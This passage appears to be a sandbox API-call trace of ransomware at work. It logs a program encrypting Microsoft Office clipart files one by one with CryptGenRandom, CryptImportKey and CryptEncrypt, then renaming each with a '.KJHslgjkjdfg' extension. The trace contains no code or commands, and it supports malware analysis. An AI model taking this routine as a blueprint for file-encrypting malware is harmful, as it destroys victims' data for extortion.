lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0159.592] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0159.592] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0159.592] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0159.592] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x2f0, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x2f0, lpOverlapped=0x0) returned 1 [0159.592] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x2f0, dwBufLen=0x2f0 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x2f0) returned 1 [0159.592] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0159.592] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x2f0, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x2f0, lpOverlapped=0x0) returned 1 [0159.592] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0159.592] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x3c4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0159.592] SetEndOfFile (hFile=0x114) returned 1 [0159.595] GetProcessHeap () returned 0x2a0000 [0159.595] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0159.595] GetProcessHeap () returned 0x2a0000 [0159.595] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0159.595] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00586_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00586_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00586_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00586_.wmf.kjhslgjkjdfg")) returned 1 [0159.596] CloseHandle (hObject=0x114) returned 1 [0159.597] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbef0a100, ftCreationTime.dwHighDateTime=0x1bd4b36, ftLastAccessTime.dwLowDateTime=0x52290670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbef0a100, ftLastWriteTime.dwHighDateTime=0x1bd4b36, nFileSizeHigh=0x0, nFileSizeLow=0x2b90, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="FD00775_.WMF", cAlternateFileName="")) returned 1 [0159.597] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00775_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00775_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0159.597] GetProcessHeap () returned 0x2a0000 [0159.597] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0159.597] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0159.598] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0159.598] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0159.598] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0159.598] GetProcessHeap () returned 0x2a0000 [0159.598] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0159.598] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0159.598] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0159.598] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0159.600] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0159.600] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0159.600] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0159.600] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0159.600] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0159.601] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0159.601] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0159.601] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0159.601] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x2b90, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x2b90, lpOverlapped=0x0) returned 1 [0159.601] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x2b90, dwBufLen=0x2b90 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x2b90) returned 1 [0159.602] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0159.602] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x2b90, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x2b90, lpOverlapped=0x0) returned 1 [0159.602] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0159.602] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x2c64, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0159.602] SetEndOfFile (hFile=0x114) returned 1 [0159.604] GetProcessHeap () returned 0x2a0000 [0159.604] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0159.604] GetProcessHeap () returned 0x2a0000 [0159.604] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0159.605] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00775_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00775_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00775_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00775_.wmf.kjhslgjkjdfg")) returned 1 [0159.606] CloseHandle (hObject=0x114) returned 1 [0159.606] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd2364900, ftCreationTime.dwHighDateTime=0x1bd4b03, ftLastAccessTime.dwLowDateTime=0x52290670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd2364900, ftLastWriteTime.dwHighDateTime=0x1bd4b03, nFileSizeHigh=0x0, nFileSizeLow=0x2332, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="FD00779_.WMF", cAlternateFileName="")) returned 1 [0159.606] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00779_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00779_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0159.610] GetProcessHeap () returned 0x2a0000 [0159.610] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0159.610] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0159.610] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0159.610] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0xe, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0xe, lpOverlapped=0x0) returned 1 [0159.612] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0159.612] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0159.612] GetProcessHeap () returned 0x2a0000 [0159.612] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0159.612] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0159.612] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0159.612] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0159.612] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0159.612] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0159.612] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0159.612] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0159.612] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0159.613] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0159.613] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0159.613] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0159.613] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x2332, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x2332, lpOverlapped=0x0) returned 1 [0159.613] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x2340, dwBufLen=0x2340 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x2340) returned 1 [0159.613] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0159.614] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x2340, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x2340, lpOverlapped=0x0) returned 1 [0159.614] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0159.614] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x2414, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0159.614] SetEndOfFile (hFile=0x114) returned 1 [0159.616] GetProcessHeap () returned 0x2a0000 [0159.616] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0159.616] GetProcessHeap () returned 0x2a0000 [0159.616] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0159.616] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00779_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00779_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00779_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00779_.wmf.kjhslgjkjdfg")) returned 1 [0159.617] CloseHandle (hObject=0x114) returned 1 [0159.618] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb4adb300, ftCreationTime.dwHighDateTime=0x1bd4af4, ftLastAccessTime.dwLowDateTime=0x52290670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb4adb300, ftLastWriteTime.dwHighDateTime=0x1bd4af4, nFileSizeHigh=0x0, nFileSizeLow=0x3690, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="FD00799_.WMF", cAlternateFileName="")) returned 1 [0159.618] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00799_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00799_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0159.619] GetProcessHeap () returned 0x2a0000 [0159.619] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0159.619] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0159.619] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0159.619] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0159.619] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0159.619] GetProcessHeap () returned 0x2a0000 [0159.619] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0159.619] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0159.619] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0159.619] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0159.621] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0159.621] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0159.621] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0159.621] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0159.622] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0159.622] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0159.622] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0159.622] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0159.622] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x3690, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x3690, lpOverlapped=0x0) returned 1 [0159.623] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x3690, dwBufLen=0x3690 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x3690) returned 1 [0159.623] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0159.623] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x3690, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x3690, lpOverlapped=0x0) returned 1 [0159.623] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0159.623] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x3764, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0159.624] SetEndOfFile (hFile=0x114) returned 1 [0159.626] GetProcessHeap () returned 0x2a0000 [0159.626] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0159.626] GetProcessHeap () returned 0x2a0000 [0159.626] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0159.626] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00799_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00799_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00799_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00799_.wmf.kjhslgjkjdfg")) returned 1 [0159.627] CloseHandle (hObject=0x114) returned 1 [0159.627] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xad86a500, ftCreationTime.dwHighDateTime=0x1bd4af4, ftLastAccessTime.dwLowDateTime=0x52290670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xad86a500, ftLastWriteTime.dwHighDateTime=0x1bd4af4, nFileSizeHigh=0x0, nFileSizeLow=0xa6d0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="FD00814_.WMF", cAlternateFileName="")) returned 1 [0159.627] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00814_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00814_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0159.627] GetProcessHeap () returned 0x2a0000 [0159.627] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0159.627] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0159.627] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0159.627] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0159.627] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0159.627] GetProcessHeap () returned 0x2a0000 [0159.627] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0159.628] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0159.628] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0159.628] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0159.630] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0159.630] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0159.630] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0159.630] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0159.630] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0159.630] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0159.631] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0159.631] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0159.631] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0xa6d0, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0xa6d0, lpOverlapped=0x0) returned 1 [0159.632] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0xa6d0, dwBufLen=0xa6d0 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0xa6d0) returned 1 [0159.632] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0159.632] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0xa6d0, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0xa6d0, lpOverlapped=0x0) returned 1 [0159.632] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0159.633] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0xa7a4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0159.633] SetEndOfFile (hFile=0x114) returned 1 [0159.635] GetProcessHeap () returned 0x2a0000 [0159.635] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0159.635] GetProcessHeap () returned 0x2a0000 [0159.635] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0159.635] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00814_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00814_.wmf"), 